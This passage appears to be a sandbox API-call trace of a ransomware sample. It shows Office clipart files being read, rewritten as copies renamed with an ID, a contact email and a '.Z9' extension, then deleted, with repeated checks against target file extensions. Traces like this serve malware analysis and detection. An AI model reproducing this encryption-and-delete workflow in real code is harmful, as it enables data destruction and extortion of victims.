	[0094.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0094.739] lstrlenW (lpString=".jpg") returned 4
	[0094.739] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.739] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.739] lstrlenW (lpString="HH00685_.WMF") returned 12
	[0094.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0094.739] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4032) returned 1
	[0094.739] CloseHandle (hObject=0x2bc) returned 1
	[0094.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x220
	[0094.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0094.739] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.739] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0094.740] GetLastError () returned 0x0
	[0094.740] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xfc0, lpOverlapped=0x0) returned 1
	[0094.741] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xfd0, lpOverlapped=0x0) returned 1
	[0094.742] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.742] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.743] SetEndOfFile (hFile=0x398) returned 1
	[0094.743] CloseHandle (hObject=0x398) returned 1
	[0094.743] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.743] SetEndOfFile (hFile=0x2bc) returned 1
	[0094.744] CloseHandle (hObject=0x2bc) returned 1
	[0094.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.744] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 1
	[0094.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0094.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0094.744] lstrlenW (lpString=".doc") returned 4
	[0094.744] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.744] lstrlenW (lpString=".docx") returned 5
	[0094.744] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.744] lstrlenW (lpString=".pdf") returned 4
	[0094.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.745] lstrlenW (lpString=".xls") returned 4
	[0094.745] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.745] lstrlenW (lpString=".xlsx") returned 5
	[0094.745] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.745] lstrlenW (lpString=".ppt") returned 4
	[0094.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0094.745] lstrlenW (lpString=".zip") returned 4
	[0094.745] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.745] lstrlenW (lpString=".rar") returned 4
	[0094.745] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.745] lstrlenW (lpString=".bz2") returned 4
	[0094.745] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.745] lstrlenW (lpString=".7z") returned 3
	[0094.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0094.745] lstrlenW (lpString=".dbf") returned 4
	[0094.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0094.745] lstrlenW (lpString=".1cd") returned 4
	[0094.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0094.745] lstrlenW (lpString=".jpg") returned 4
	[0094.745] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0094.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0094.745] lstrlenW (lpString=".doc") returned 4
	[0094.745] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.745] lstrlenW (lpString=".docx") returned 5
	[0094.745] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.745] lstrlenW (lpString=".pdf") returned 4
	[0094.745] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.745] lstrlenW (lpString=".xls") returned 4
	[0094.745] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.745] lstrlenW (lpString=".xlsx") returned 5
	[0094.746] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.746] lstrlenW (lpString=".ppt") returned 4
	[0094.746] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0094.746] lstrlenW (lpString=".zip") returned 4
	[0094.746] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.746] lstrlenW (lpString=".rar") returned 4
	[0094.746] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.746] lstrlenW (lpString=".bz2") returned 4
	[0094.746] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.746] lstrlenW (lpString=".7z") returned 3
	[0094.746] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0094.746] lstrlenW (lpString=".dbf") returned 4
	[0094.746] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0094.746] lstrlenW (lpString=".1cd") returned 4
	[0094.746] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0094.746] lstrlenW (lpString=".jpg") returned 4
	[0094.746] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.746] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.746] lstrlenW (lpString="HH00687_.WMF") returned 12
	[0094.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0094.746] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4340) returned 1
	[0094.747] CloseHandle (hObject=0x2bc) returned 1
	[0094.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x220
	[0094.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0094.747] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.747] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0095.036] GetLastError () returned 0x0
	[0095.036] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x10f4, lpOverlapped=0x0) returned 1
	[0095.062] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1100, lpOverlapped=0x0) returned 1
	[0095.066] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.066] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.067] SetEndOfFile (hFile=0x398) returned 1
	[0095.067] CloseHandle (hObject=0x398) returned 1
	[0095.067] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.067] SetEndOfFile (hFile=0x2bc) returned 1
	[0095.068] CloseHandle (hObject=0x2bc) returned 1
	[0095.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 1
	[0095.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0095.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0095.068] lstrlenW (lpString=".doc") returned 4
	[0095.068] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.068] lstrlenW (lpString=".docx") returned 5
	[0095.068] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.068] lstrlenW (lpString=".pdf") returned 4
	[0095.068] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.068] lstrlenW (lpString=".xls") returned 4
	[0095.068] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.068] lstrlenW (lpString=".xlsx") returned 5
	[0095.068] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.069] lstrlenW (lpString=".ppt") returned 4
	[0095.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0095.069] lstrlenW (lpString=".zip") returned 4
	[0095.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.069] lstrlenW (lpString=".rar") returned 4
	[0095.069] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.069] lstrlenW (lpString=".bz2") returned 4
	[0095.069] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.069] lstrlenW (lpString=".7z") returned 3
	[0095.069] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0095.069] lstrlenW (lpString=".dbf") returned 4
	[0095.069] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0095.069] lstrlenW (lpString=".1cd") returned 4
	[0095.069] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0095.069] lstrlenW (lpString=".jpg") returned 4
	[0095.069] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0095.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0095.069] lstrlenW (lpString=".doc") returned 4
	[0095.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.069] lstrlenW (lpString=".docx") returned 5
	[0095.069] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.069] lstrlenW (lpString=".pdf") returned 4
	[0095.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.069] lstrlenW (lpString=".xls") returned 4
	[0095.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.069] lstrlenW (lpString=".xlsx") returned 5
	[0095.069] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.069] lstrlenW (lpString=".ppt") returned 4
	[0095.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0095.070] lstrlenW (lpString=".zip") returned 4
	[0095.070] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.070] lstrlenW (lpString=".rar") returned 4
	[0095.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.070] lstrlenW (lpString=".bz2") returned 4
	[0095.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.070] lstrlenW (lpString=".7z") returned 3
	[0095.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0095.070] lstrlenW (lpString=".dbf") returned 4
	[0095.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0095.070] lstrlenW (lpString=".1cd") returned 4
	[0095.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0095.070] lstrlenW (lpString=".jpg") returned 4
	[0095.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.070] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.070] lstrlenW (lpString="HH01923_.WMF") returned 12
	[0095.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0095.071] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=26706) returned 1
	[0095.071] CloseHandle (hObject=0x2bc) returned 1
	[0095.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x220
	[0095.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0095.071] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.071] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0095.072] GetLastError () returned 0x0
	[0095.072] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x6852, lpOverlapped=0x0) returned 1
	[0095.086] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x6860, lpOverlapped=0x0) returned 1
	[0095.087] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.087] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.087] SetEndOfFile (hFile=0x398) returned 1
	[0095.087] CloseHandle (hObject=0x398) returned 1
	[0095.087] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.087] SetEndOfFile (hFile=0x2bc) returned 1
	[0095.088] CloseHandle (hObject=0x2bc) returned 1
	[0095.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.089] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 1
	[0095.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0095.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0095.089] lstrlenW (lpString=".doc") returned 4
	[0095.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.089] lstrlenW (lpString=".docx") returned 5
	[0095.089] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.089] lstrlenW (lpString=".pdf") returned 4
	[0095.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.089] lstrlenW (lpString=".xls") returned 4
	[0095.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.089] lstrlenW (lpString=".xlsx") returned 5
	[0095.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.089] lstrlenW (lpString=".ppt") returned 4
	[0095.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0095.089] lstrlenW (lpString=".zip") returned 4
	[0095.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.089] lstrlenW (lpString=".rar") returned 4
	[0095.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.089] lstrlenW (lpString=".bz2") returned 4
	[0095.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.089] lstrlenW (lpString=".7z") returned 3
	[0095.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0095.089] lstrlenW (lpString=".dbf") returned 4
	[0095.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0095.090] lstrlenW (lpString=".1cd") returned 4
	[0095.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0095.090] lstrlenW (lpString=".jpg") returned 4
	[0095.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0095.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0095.090] lstrlenW (lpString=".doc") returned 4
	[0095.090] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.090] lstrlenW (lpString=".docx") returned 5
	[0095.090] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.090] lstrlenW (lpString=".pdf") returned 4
	[0095.090] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.090] lstrlenW (lpString=".xls") returned 4
	[0095.090] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.090] lstrlenW (lpString=".xlsx") returned 5
	[0095.090] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.090] lstrlenW (lpString=".ppt") returned 4
	[0095.090] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0095.090] lstrlenW (lpString=".zip") returned 4
	[0095.090] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.090] lstrlenW (lpString=".rar") returned 4
	[0095.090] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.090] lstrlenW (lpString=".bz2") returned 4
	[0095.090] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.090] lstrlenW (lpString=".7z") returned 3
	[0095.090] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0095.090] lstrlenW (lpString=".dbf") returned 4
	[0095.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
